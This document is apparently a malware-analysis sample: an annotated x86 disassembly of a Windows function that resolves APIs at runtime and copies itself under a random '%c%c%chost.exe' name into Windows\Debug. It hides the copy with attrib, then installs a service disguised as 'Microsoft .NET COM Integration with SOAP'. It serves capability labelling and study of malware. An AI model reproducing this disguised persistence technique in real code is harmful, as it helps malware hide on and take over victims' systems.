Function at 0x403161
Capabilities:
Contain obfuscated stackstrings
Link many functions at runtime

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x406160
push 0x403950
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x468
push ebx
push esi
push edi
push str.RegCloseKey
mov ebx, str.ADVAPI32.dll
push ebx
mov esi, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call esi
push eax
mov edi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
call edi
mov dword [ebp - 0x340], eax
push str.OpenSCManagerA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x364], eax
push str.OpenServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x234], eax
push str.CloseServiceHandle
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x34c], eax
push str.GetModuleFileNameA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x370], eax
push str.GetWindowsDirectoryA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x35c], eax
push str.CopyFileA
push 0x407144
call esi
push eax
call edi
mov dword [ebp - 0x228], eax
push str.RegSetValueExA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x354], eax
push str.StartServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x230], eax
push str.RegOpenKeyA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x36c], eax
push str.UnlockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x368], eax
push str.ChangeServiceConfig2A
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x350], eax
push str.CreateServiceA
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x1c], eax
push str.LockServiceDatabase
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x22c], eax
push str.GetLastError
mov ebx, 0x407144
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x358], eax
push str.WinExec
push ebx
call esi
push eax
call edi
mov dword [ebp - 0x360], eax
mov esi, 0x104
push esi
lea eax, [ebp - 0x33c]
push eax
xor ebx, ebx
push ebx
call dword [ebp - 0x370]
push esi
lea eax, [ebp - 0x224]
push eax
call dword [ebp - 0x35c]
lea edi, [ebp - 0x224]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
dec ecx
push ecx
lea eax, [ebp - 0x33c]
push eax
lea eax, [ebp - 0x224]
push eax
call dword [sym.imp.MSVCRT.dll_strncmp]
add esp, 0xc
test eax, eax
je 0x403572
mov byte [ebp - 0x3bc], 0x25
mov byte [ebp - 0x3bb], 0x63
mov byte [ebp - 0x3ba], 0x25
mov byte [ebp - 0x3b9], 0x63
mov byte [ebp - 0x3b8], 0x25
mov byte [ebp - 0x3b7], 0x63
mov byte [ebp - 0x3b6], 0x68
mov byte [ebp - 0x3b5], 0x6f
mov byte [ebp - 0x3b4], 0x73
mov byte [ebp - 0x3b3], 0x74
mov byte [ebp - 0x3b2], 0x2e
mov byte [ebp - 0x3b1], 0x65
mov byte [ebp - 0x3b0], 0x78
mov byte [ebp - 0x3af], 0x65
mov byte [ebp - 0x3ae], bl
push 0x1a
call fcn.00403af0
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00403af0
pop ecx
add eax, 0x61
push eax
push 0x1a
call fcn.00403af0
pop ecx
add eax, 0x61
push eax
lea eax, [ebp - 0x3bc]
push eax
lea eax, [ebp - 0x40c]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x14
mov byte [ebp - 0x414], 0x5c
mov byte [ebp - 0x413], 0x44
mov byte [ebp - 0x412], 0x65
mov byte [ebp - 0x411], 0x62
mov byte [ebp - 0x410], 0x75
mov byte [ebp - 0x40f], 0x67
mov byte [ebp - 0x40e], 0x5c
mov byte [ebp - 0x40d], bl
lea edi, [ebp - 0x414]
lea edx, [ebp - 0x224]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
lea edi, [ebp - 0x40c]
lea edx, [ebp - 0x224]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
lea eax, [ebp - 0x224]
push eax
lea eax, [ebp - 0x33c]
push eax
call dword [ebp - 0x228]
push 0x41
pop ecx
xor eax, eax
lea edi, [ebp - 0x33c]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x224]
lea edx, [ebp - 0x33c]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push 5
lea eax, [ebp - 0x33c]
push eax
call fcn.00402c37
pop ecx
pop ecx
mov byte [ebp - 0x3ac], 0x61
mov byte [ebp - 0x3ab], 0x74
mov byte [ebp - 0x3aa], 0x74
mov byte [ebp - 0x3a9], 0x72
mov byte [ebp - 0x3a8], 0x69
mov byte [ebp - 0x3a7], 0x62
mov byte [ebp - 0x3a6], 0x20
mov byte [ebp - 0x3a5], 0x2b
mov byte [ebp - 0x3a4], 0x61
mov byte [ebp - 0x3a3], 0x20
mov byte [ebp - 0x3a2], 0x2b
mov byte [ebp - 0x3a1], 0x73
mov byte [ebp - 0x3a0], 0x20
mov byte [ebp - 0x39f], 0x2b
mov byte [ebp - 0x39e], 0x68
mov byte [ebp - 0x39d], 0x20
mov byte [ebp - 0x39c], 0x2b
mov byte [ebp - 0x39b], 0x72
mov byte [ebp - 0x39a], 0x20
mov byte [ebp - 0x399], bl
push 0xa
pop ecx
xor eax, eax
lea edi, [ebp - 0x398]
rep stosd dword es:[edi], eax
lea edi, [ebp - 0x33c]
lea edx, [ebp - 0x3ac]
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov esi, edi
mov edi, edx
mov edx, ecx
or ecx, 0xffffffff
repne scasb al, byte es:[edi]
dec edi
mov ecx, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
push ebx
lea eax, [ebp - 0x3ac]
push eax
call dword [ebp - 0x360]
mov dword [ebp - 0x238], ebx
mov dword [ebp - 0x348], ebx
mov dword [ebp - 0x344], ebx
mov dword [ebp - 4], ebx
push 0xf003f
push ebx
push ebx
call dword [ebp - 0x364]
mov edi, eax
mov dword [ebp - 0x344], edi
cmp edi, ebx
je 0x4038ae
push ebx
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x33c]
push eax
push 1
pop esi
push esi
push 2
push 0x110
push 0xf01ff
push dword [ebp + 0xc]
push dword [ebp + 8]
push edi
call dword [ebp - 0x1c]
mov dword [ebp - 0x348], eax
push edi
call dword [ebp - 0x22c]
mov dword [ebp - 0x434], eax
mov dword [ebp - 0x418], str.Microsoft_.NET_COM_Integration_with_SOAP
lea eax, [ebp - 0x418]
push eax
push esi
push dword [ebp - 0x348]
call dword [ebp - 0x350]
mov dword [ebp - 0x454], ebx
xor eax, eax
lea edi, [ebp - 0x450]
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
jmp 0x40f3e8
or dword [ebp - 4], 0xffffffff
call fcn.004038c8
mov ecx, dword [ebp - 0x10]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
leave
ret